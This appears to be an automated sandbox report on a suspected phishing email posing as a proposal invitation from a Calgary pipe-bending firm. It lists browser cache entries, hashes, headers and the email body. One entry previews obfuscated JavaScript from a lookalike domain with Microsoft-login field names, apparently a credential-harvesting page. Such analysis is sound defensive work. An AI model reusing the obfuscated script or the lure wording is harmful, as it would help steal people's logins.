Size (bytes):	18120
Entropy (8bit):	7.979773657481131
Encrypted:	false
SSDEEP:	384:0JVgVB/rvxcQJ46gJw/nZttHUUYIVnPTzFzrYiJdFZUCi5gyfwIkwJcHp4FN:0Xgfrvf6EnZ/HZYIxNrYio7gwktHpKN
MD5:	BFB90EAED2F2A2424E2978228FD0FE06
SHA1:	30EC2FF300276D74F2AB427EA26D0EE37947F85D
SHA-256:	93661B53A9550FDD43E61D562EC9827E66F7A3A9794CC5B4F71A0C3EF1679844
SHA-512:	F6450BEA97478368535AE8DAF277F34520BE707165C0E17008F7B2248F09238FF8E1AF8925D5C3568E429B7181C463DA370222B50D8856761172A06A828B9376
Malicious:	false
URL:	http://www.pipebending.com/styles/fonts/UniveConObl.woff
Preview:	wOFFOTTO..F.......r$........................CFF ......=+..b....TFFTM..>4........g>.8GDEF..>P....... ....OS/2..>p...V...`Z...cmap..>....i..... uhead..A4...4...6..Z9hhea..Ah... ...$....hmtx..A...........J.maxp..C...........P.name..C....).....$xpost..F........ ...8x..\|.tT...i,.B..:..{...w...Q..H.HQ/".^A...PP.`.A...A...4C..Kgn..y.o.n.E....y...f.....+s=..F..'....&..3.R..#...1v.N....=~0yB.C...d...B..v..Q.IQaN.g....G...d.(D..P..\..^../.P.......6tp..aO........G..9h......:l...1....?`........A.....2rL..1#...8l.......w.8j.........q.....q.#..O.9~L...c.s.a#..{....#GM.3...P...r.....o?l..q.-....F..1.r\|....u......0xPe..=....S.qG..3n"......b\|......x.?....`......acG..?..>7r.!..........c\|.....1v..1c.w.qC.)z.......'..6n.....G.&...u...8..Zu.3.4>p..g.....P..p..l4....")..).rPN.E.)...(/..T..R!LE.(.S1N%.$...T..R9O.."U..T..R5.N5.&..T..R=.O..1jH..1..BM..5...ZQkjCm......:Q.u....Qw.A=..=N.....'..=IOQ..@..!t.>'...y.1..!-.....Fci......z...;..&.J......+ZE..7.....h5.@..ZZG..G..~..

Chrome Cache Entry: 245

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 293
Category:	dropped
Size (bytes):	209
Entropy (8bit):	6.848875026805474
Encrypted:	false
SSDEEP:	6:XtxegtMMG38SGtV6esQOYflKMW7H+QaDvuwcJS/E:XreeVjS4p9KMKPuu9N
MD5:	FBC5D904FB6C6646687C64DCC02436C8
SHA1:	91B65AEE2F1A30DBDFFF949EBD612322ED545D59
SHA-256:	49358D392500F33E6EAD38B56A7843E0DEB3F4E01B94FCA10DBDEAB83BDCCD93
SHA-512:	99682F46F973C23DE56FDE4142D9D128532C525DB01EF3335FE64923F767A5802EFBE7D174290B57FBEFD9AFEB0287A4614F1604281C0683A616209AE3650D6E
Malicious:	false
Preview:	..........U.=n.0...".s.&....@. (:P6#..)C?....e....r ...hg..)A.....d...K.. ....L.T.h}q_.V..VkD`..iJ..v..UET..".......#n..+p..a....2.)s#.(.VgA..Q.......3...w.>.:KKP.L....".......V...g@J.F.n..T..[%...

Chrome Cache Entry: 246

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 262422
Category:	downloaded
Size (bytes):	72940
Entropy (8bit):	7.996236300175143
Encrypted:	true
SSDEEP:	1536:Uja2BKpGDUasNKe6nGK4slygQhs6/BtI0xaDlxCmzTpxFtwhG8bNyV8Ni8w:UNK4D06GyQRrBK0xolxCm3JtwU8bNIS2
MD5:	49C1431C4351E048752D267DCFD5663C
SHA1:	1F5496C5A9DF3C4155A2CB9AAF8991B9D7141E91
SHA-256:	9E0F50FFA97491BB9A1A08352E720ABE5FA14E306001726C0F362823878DFBD8
SHA-512:	DEDB58D23885894C4FEC4262E80CAC2915F882F69892B4C3CD588D79387091901CFFD060D3A0773937EE77F7B9AB8FB07E9BFF068300C8F002414825902F754F
Malicious:	false
URL:	http://maps.googleapis.com/maps-api-v3/api/js/56/8/common.js
Preview:	............iw.8.8.....9i..a.I.g.....o..'vV...$..HE.6[.....hq2...<..#.Da+..U.B.O.?../.)....4J....t.~?..Ik.(v.0...y..a.+.[W.cW.SW.sW.w.....iJ.Sz....7.....aF...g..+h?..]A...h..QFg.........+.-.=..wWPG..JA...[F...F.nD.#:.Q.R.4....&c.IA../.....1....c.eL....1...HA...@..z?....?.......1....O.tB'..0...M'.pB.&t&.}7...z=...:...RP..j{.......z..z..<A.<........<A?z..x....C...<A.z.~......W.3W..3.qF.y.>..^...^..^.f<A..^..._P;.B......../h..:;.'3z......}A_g.(../.'...t.-.h...IA..c...wAm.8..h..z.......z.`f.i....v...8.y...l..~..LA...:.1......l ...GG..f.I.I..m....o..^.K.h.J.K...-...0..W.C.....0.q..\|..zp....i..$..t2..z..p(f,L....hs.E2......r.c.V.=v.....XN..YM......[..j.oZ^24Ub.A7.j.>&.l...Kp..K.x.e.(...y...x...JqoE.0N3.;...s.z=b...K...3=.ci.U[v......Z.Al.....vX...4..&........V.M.._5.S.g.B.....z:.....fA...h...X...c.WI.P.p5..a.%@1.u..Qd..?..8Ki..).P.]...X...... ...-r.y.N...&a.<[mV.VsL..@..J......`N ....6...x.I..w.a..C4.o.=.Q.1!Y0L&...a24.O.}.L.-R..EM.N._.Y.Jo.FL.\|

Chrome Cache Entry: 247

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Pixelmator Pro 2.0, datetime=2020:11:05 20:31:16], baseline, precision 8, 189x131, components 3
Category:	downloaded
Size (bytes):	61252
Entropy (8bit):	7.627015966008525
Encrypted:	false
SSDEEP:	1536:YL5F9FdcIKemRCXWqSCzwEquzvrDUxg+CHd+:W5F3q/eEBqLwCzvW9CHQ
MD5:	2B9991A51F9600B9E82654B84C4BD392
SHA1:	64423F6E780426DE6A361F8242564B1B5236C150
SHA-256:	42432BF5DB4A09CF0B2093FD3FC2DEC4F2A05B49E8E5346A7248D1DD4574E5E2
SHA-512:	D687D035BB6472BB35C8BECE3D7F52BB7A604D8B7BC67D95F4C54BD5DF0D9345E8B25B54F6140FAE702501164DB0473564DDDC600BBD177CCAB5C79DEFA60BF0
Malicious:	false
URL:	http://www.pipebending.com/images/logo.jpg
Preview:	......JFIF.....H.H......Exif..MM.*.............................b...........j.(...........1.........r.2...........i.................H.......H....Pixelmator Pro 2.0..2020:11:05 20:31:16......................................................2020:11:05 13:31:15...buhttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:illustrator="http://ns.adobe.com/illustrator/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpGImg="http://ns.adobe.com/xap/1.0/g/img/" xmlns:pdf="http://ns.adobe.com/pdf/1.3/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:dc="http://purl.org/dc/elements/1.1/" illustrator:CreatorSubTool="Adobe Illustrator" illustrator:StartupProfile="Print" xmp:Creator

Chrome Cache Entry: 248

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 249

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2343)
Category:	downloaded
Size (bytes):	52916
Entropy (8bit):	5.51283890397623
Encrypted:	false
SSDEEP:	768:oHzaMKHBCwsZtisP5XqYofL+qviHOlTjdNoVJDe6VyKaqgYUD0ZTTE8yVfZsk:caMKH125hYiM8O9dNoVJ3N48yVL
MD5:	575B5480531DA4D14E7453E2016FE0BC
SHA1:	E5C5F3134FE29E60B591C87EA85951F0AEA36EE1
SHA-256:	DE36E50194320A7D3EF1ACE9BD34A875A8BD458B253C061979DD628E9BF49AFD
SHA-512:	174E48F4FB2A7E7A0BE1E16564F9ED2D0BBCC8B4AF18CB89AD49CF42B1C3894C8F8E29CE673BC5D9BC8552F88D1D47294EE0E216402566A3F446F04ACA24857A
Malicious:	false
URL:	https://www.google-analytics.com/analytics.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var n=this\|\|self,p=function(a,b){a=a.split(".");var c=n;a[0]in c\|\|"undefined"==typeof c.execScript\|\|c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)a.length\|\|void 0===b?c=c[d]&&c[d]!==Object.prototype[d]?c[d]:c[d]={}:c[d]=b};function q(){for(var a=r,b={},c=0;c<a.length;++c)b[a[c]]=c;return b}function u(){var a="ABCDEFGHIJKLMNOPQRSTUVWXYZ";a+=a.toLowerCase()+"0123456789-_";return a+"."}var r,v;.function aa(a){function b(k){for(;d<a.length;){var m=a.charAt(d++),l=v[m];if(null!=l)return l;if(!/^[\s\xa0]*$/.test(m))throw Error("Unknown base64 encoding at char: "+m);}return k}r=r\|\|u();v=v\|\|q();for(var c="",d=0;;){var e=b(-1),f=b(0),h=b(64),g=b(64);if(64===g&&-1===e)return c;c+=String.fromCharCode(e<<2\|f>>4);64!=h&&(c+=String.fromCharCode(f<<4&240\|h>>2),64!=g&&(c+=String.fromCharCode(h<<6&192\|g)))}};var w={},y=function(a){w.TAGGING=w.TAGGING\|\|[];w.TAGGING[a]=!0};var ba=Array.isArray,c

Chrome Cache Entry: 250

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
URL:	https://ridgelineexcavatoin.com/x/8a55860f2cae358e560aa5f55856c7c166218b27293e6
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 251

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	315
Entropy (8bit):	5.0572271090563765
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwGObRmEr6VnetdzRx3G0CezoFEHcLgabzjsKtgsg93wzRbKqD:J0+oxBeRmR9etdzRxGezZfCzjsKtgizR
MD5:	A34AC19F4AFAE63ADC5D2F7BC970C07F
SHA1:	A82190FC530C265AA40A045C21770D967F4767B8
SHA-256:	D5A89E26BEAE0BC03AD18A0B0D1D3D75F87C32047879D25DA11970CB5C4662A3
SHA-512:	42E53D96E5961E95B7A984D9C9778A1D3BD8EE0C87B8B3B515FA31F67C2D073C8565AFC2F4B962C43668C4EFA1E478DA9BB0ECFFA79479C7E880731BC4C55765
Malicious:	false
URL:	https://ridgelineexcavatoin.com/favicon.ico
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.<p>Additionally, a 404 Not Found.error was encountered while trying to use an ErrorDocument to handle the request.</p>.</body></html>.

Chrome Cache Entry: 252

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 253

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	downloaded
Size (bytes):	4286
Entropy (8bit):	3.989682996400472
Encrypted:	false
SSDEEP:	96:dkYHRo0lrmqxWWcV1CHFKAL4dFjg3dSI03aWTyf6i0nVuXWeoF:dkYPzBlKPgMdil
MD5:	B856DC3CE4E5F2BE20C3D4B716B32821
SHA1:	C009242ABE12F83904F16B8DC684B9DCA537B594
SHA-256:	AE90233D5BDF0743A903CE4D1B00104E1AC42F45378AB1C50AAD0B15D5E5593E
SHA-512:	3742ED12A77425A12090659E11ACC81F6D6E8317271EA15E845072E007F128B1C5E9460CCC2B2EEE9637B16ED4F12FC3A8CB2C724E89A15F100749B7EF8E978B
Malicious:	false
URL:	http://www.pipebending.com/favicon.ico
Preview:	...... .... .........(... ...@..... .............................................................................o..._...V...V..._...o...............................................................................................k...W...S~..S~..S...T...T...S...S~..S~..W...k...........................................................................d...R}..S~..T...T...T...T...T...T...T...T...T...T...S~..R}..d...............................................................T...S~..T...T...T...T...T...T...T...T...T...T...T...T...T...T...S~..T...................................................r...R}..T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...R}..q.......................................q...R}..T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...R}..r...................................R}..T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...T...R}..............................T...T...T...T...T...T...T...T.

Chrome Cache Entry: 254

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1592
Entropy (8bit):	4.205005284721148
Encrypted:	false
SSDEEP:	48:ztSAS1OtmCtc7aIVmt4yyR9S2lKUyDWwh:RoOtmCtc7aCmVQHSRh
MD5:	4E48046CE74F4B89D45037C90576BFAC
SHA1:	4A41B3B51ED787F7B33294202DA72220C7CD2C32
SHA-256:	8E6DB1634F1812D42516778FC890010AA57F3E39914FB4803DF2C38ABBF56D93
SHA-512:	B2BBA2A68EDAA1A08CFA31ED058AFB5E6A3150AABB9A78DB9F5CCC2364186D44A015986A57707B57E2CC855FA7DA57861AD19FC4E7006C2C239C98063FE903CF
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689,0,0,1,19,30a10.9,10.9,0,0,1-5.547-1.5,11.106,11.106,0,0,1-2.219-1.719A11.373,11.373,0,0,1,9.5,24.547a10.4,10.4,0,0,1-1.109-2.625A11.616,11.616,0,0,1,8,19a10.9,10.9,0,0,1,1.5-5.547,11.106,11.106,0,0,1,1.719-2.219A11.373,11.373,0,0,1,13.453,9.5a10.4,10.4,0,0,1,2.625-1.109A11.616,11.616,0,0,1,19,8a10.9,10.9,0,0,1,5.547,1.5,11.106,11.106,0,0,1,2.219,1.719A11.373,11.373,0,0,1,28.5,13.453a10.4,10.4,0,0,1,1.109,2.625A11.616,11.616,0,0,1,30,19a10.015,10.015,0,0,1-.125,1.578,10.879,10.879,0,0,1-.359,1.531Zm-2,.844L27.219,22.641a14.716,14.716,0,0,0,.562-1.782A7.751,7.751,0,0,0,28,19a8.786,8.786,0,0,0-.7-3.5,8.9,8.9,0,0,0-1.938-2.859A9.269,9.269,0,0,0,22.5,10.719,8.9,8.9,0,0,0,19,10a8.786,8.786,0,0,0-3.5.7,8.9,8.9,0,0,0-2.859,1.938A9.269,9.269,0,0,0,

Chrome Cache Entry: 255

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 593
Category:	downloaded
Size (bytes):	341
Entropy (8bit):	7.396190329390051
Encrypted:	false
SSDEEP:	6:XtanHZz/bvGT8U2uLz7+aYp3yZPaFD1ZFzawq0KQyyu1k+WPROWnmJqwIWzTyl:XaxaT8U7Lzyly52D1ZFzfbKby6IELImq
MD5:	023DFB89891F564B493A0701DC80B489
SHA1:	722DD70A2B33134EEAD45EC95DB6DFDAA1994FF2
SHA-256:	FBD3718AAB40AB9F49BC42FE0FC7686F642BC98AEF57813C8E46CED30750C58B
SHA-512:	B1CB1E7BC07945302F0ED5168EC21F6F1EA286EA293C373CEB6D817C378EEE2DCBE3CA44915055647F7B73D28292DFEC69A96C9A85A2DA8D7E9C09D083786643
Malicious:	false
URL:	http://www.pipebending.com/views/common/footer.tpl.html
Preview:	...........Q]k.0..+.....u...1.L.{..4M.mR.v.....}0.{.....9..z.^.s...S..7..2..p..1....'....3...Q.j.....h]{.f4e..."_.DU(.#)....Y.][sX[..q...4h.hV.!-Q....$8./*<&...T~.K.4H.../n.....p..DJ..6.wK\|.......o.t(... o..}.Z.....y......}t......J.+c..-..^64.,.R.}...z..j...Q..n....b..d.F.Y.-.7.WX..Ot..,...M.j...)-..T........?.b.,jQ...

Chrome Cache Entry: 256

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7043), with no line terminators
Category:	downloaded
Size (bytes):	7043
Entropy (8bit):	5.2804407743048944
Encrypted:	false
SSDEEP:	192:wtIrjU2y/QZN5uvVRQ+tslFqEMkewx+No91m8mq9Ana1opn:wKXU2y/QZN5uvVyFq7kew0xLa1Y
MD5:	B6C202188699B897BB727A68EDD24665
SHA1:	FF3B891E06C983DCA277C1D7D874C8EB8084EB96
SHA-256:	184A034CB9202937BF012AFF8C81E0747B7CA8F8F9E6115556FDB09D5BAEC419
SHA-512:	AD8D243B156841EC27CA057CF1E0F64B8802E0DF64F79000739605CDE2C9A9FA1E3E24D153AB34A7AA66F726FC701816CA116052F4129AF3FB78D8F4057EE9F8
Malicious:	false
URL:	https://ridgelineexcavatoin.com/js/8a55860f2cae358e560aa5f55856c7c166218b2554100
Preview:	var _0x22d5b4=_0xe936;function _0xe936(_0x110d0f,_0x2b91a9){var _0x5afc29=_0x2e89();return _0xe936=function(_0x5e8034,_0x1649af){_0x5e8034=_0x5e8034-0x12d;var _0x41bfe8=_0x5afc29[_0x5e8034];return _0x41bfe8;},_0xe936(_0x110d0f,_0x2b91a9);}(function(_0x18f255,_0x432ca9){var _0xb8cc2=_0xe936,_0x553352=_0x18f255();while(!![]){try{var _0x1c3eea=-parseInt(_0xb8cc2(0x161))/0x1+-parseInt(_0xb8cc2(0x132))/0x2+parseInt(_0xb8cc2(0x154))/0x3+-parseInt(_0xb8cc2(0x16c))/0x4+parseInt(_0xb8cc2(0x12e))/0x5+parseInt(_0xb8cc2(0x174))/0x6+-parseInt(_0xb8cc2(0x136))/0x7;if(_0x1c3eea===_0x432ca9)break;else _0x553352['push'](_0x553352['shift']());}catch(_0x104ec1){_0x553352['push'](_0x553352['shift']());}}}(_0x2e89,0x62b01));function _0x2e89(){var _0x35743b=['log','under','prototype','usernameError','disabled','search','progressBar','removeClass','<br/>','each','json','trace','style','querySelector','opacity','none','i0116','value','location','removeAttr','reset','log_form','now','redirect','reload','.light

Chrome Cache Entry: 257

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Static File Info

General

File type:	ASCII text, with very long lines (699), with CRLF line terminators
Entropy (8bit):	5.798892501680744
TrID:
File name:	Proposal Invitation_ Proposal is Due by the EOB May 15.eml
File size:	181'271 bytes
MD5:	57adf070787085068546291316a61514
SHA1:	5e351ee38e678ebba37ee8695ee26c92caa9d597
SHA256:	0f1372a229c9c666e20330d65822a1e6b10bf7fdd8f09559a5a4c30baa2bc67a
SHA512:	fa2e712f6612efe4687e81a93b94f67437cf6eae16a92ee35646cba04a211773deddf9bb239af3489681bfa86ab3ad0b0ef97e3c384c966ae22da9f68eb88dca
SSDEEP:	1536:8iZNsmWS7Cp6I+IrcOvtgXHL93LeJN2FeKE+/u:8iZNsUup6I+5OvtgLe4ep
TLSH:	E3043E14C2B29E2E159256EF680735C0A578FBF182ED91F730E6AF63F466CEAD15D200
File Content Preview:	Authentication-Results: relay.mimecast.com;...dkim=pass header.d=pipebending.com header.s=selector-1678983842 header.b=CU6kkryQ;...arc=pass ("microsoft.com:s=arcselector9901:i=1");...dmarc=pass (policy=none) header.from=pipebending.com;...spf=pass (relay.

Static Mail

General

Subject:	Proposal Invitation: Proposal is Due by the EOB May 15
From:	James Morice <jmorice@pipebending.com>
To:
Cc:
BCC:
Date:	Thu, 18 Apr 2024 18:01:53 +0000
Communications:	Good afternoon, We would like to collaborate with you on the proposal attached. Please review and evaluate. Let me know your comments once you reviewed. [Benpro Technologies Corp. Logo]<http://www.pipebending.com/#/> James Morice Coating Division Supervisor E jmorice@pipebending.com<mailto:jmorice@pipebending.com> D 403-313-9789 <tel:403-450-4336> C <tel:403-450-4336> 403-804-3473 [cid:d5d3f372-f97d-40b5-8955-5a7e51645f31]<https://www.linkedin.com/company/benpro-technologies> [cid:86198fd8-3489-4272-a770-627ff608e1e3]<https://www.facebook.com/pages/category/Metal-Supplier/Benpro-Technologies-102663338291710/> [cid:650d9419-35b3-440f-bffe-f2d6dbe75a15]<https://www.youtube.com/channel/UCg3BMGqYnreiavgk1ljplOw/?guided_help_flow=5> Benpro Technologies Corporation A <https://goo.gl/maps/WvztXUVUVgUW85wQ6> 4707 Glenmore Trail SE, Calgary, AB, T2C 2R9, Canada<https://goo.gl/maps/WvztXUVUVgUW85wQ6> W www.pipebending.com<http://www.pipebending.com/#/> T 403-255-2944<tel:403-255-2944>
Attachments:	Proposal From Benpro.pdf

Headers

Key	Value
Authentication-Results	relay.mimecast.com; dkim=pass header.d=pipebending.com header.s=selector-1678983842 header.b=CU6kkryQ; arc=pass ("microsoft.com:s=arcselector9901:i=1"); dmarc=pass (policy=none) header.from=pipebending.com; spf=pass (relay.mimecast.com: domain of jmorice@pipebending.com designates 148.163.129.49 as permitted sender) smtp.mailfrom=jmorice@pipebending.com
Received	from YT1PR01MB8459.CANPRD01.PROD.OUTLOOK.COM ([fe80::d171:683b:775e:6ff4]) by YT1PR01MB8459.CANPRD01.PROD.OUTLOOK.COM ([fe80::d171:683b:775e:6ff4%4]) with mapi id 15.20.7472.027; Thu, 18 Apr 2024 18:01:53 +0000
X-MC-Unique	OQXtEIr8NAi1JgwtRF2UAw-1
DKIM-Signature	v=1; a=rsa-sha256; c=relaxed/relaxed; d=pipebending.com; h=content-type:content-type:date:date:from:from:message-id:message-id:mime-version:mime-version:subject:subject; s=selector-1678983842; bh=II/Fi42RxgIGyg8cHTClv+BzBKG8G2tqyagbM9ZOU00=; b=CU6kkryQhpNQLVfoO71WwOJMWlhHBHHSrIkA1AZXBwUB10k194IwgwR0UB1yqTyuUw2hyDe7TGXK/mIAjH93fn+tx1Haa9V/6y4cRuX0ZePyJw6VTya21/WBNDgzfET+ibxJydTs9/Dt3VRBpGSKsUmQW/SqHOfrCKHQSCAH/np0y20hPZabKJq7vPb6HkQOKcTkKnqQwLy1JDP+o+MZEgVus7L+um8ShMIUC6DeJfOHS694HoLF3/VjvHKQSP24w0JXy186s6kgjpcR5NOPkJiiLgSqDIo/lxVIlQjM29Oa/XBw9C+ZzFWzX1iX6iP3uJfDrZq6G/8q0NTK9VNRdQ==
X-Virus-Scanned	Proofpoint Essentials engine
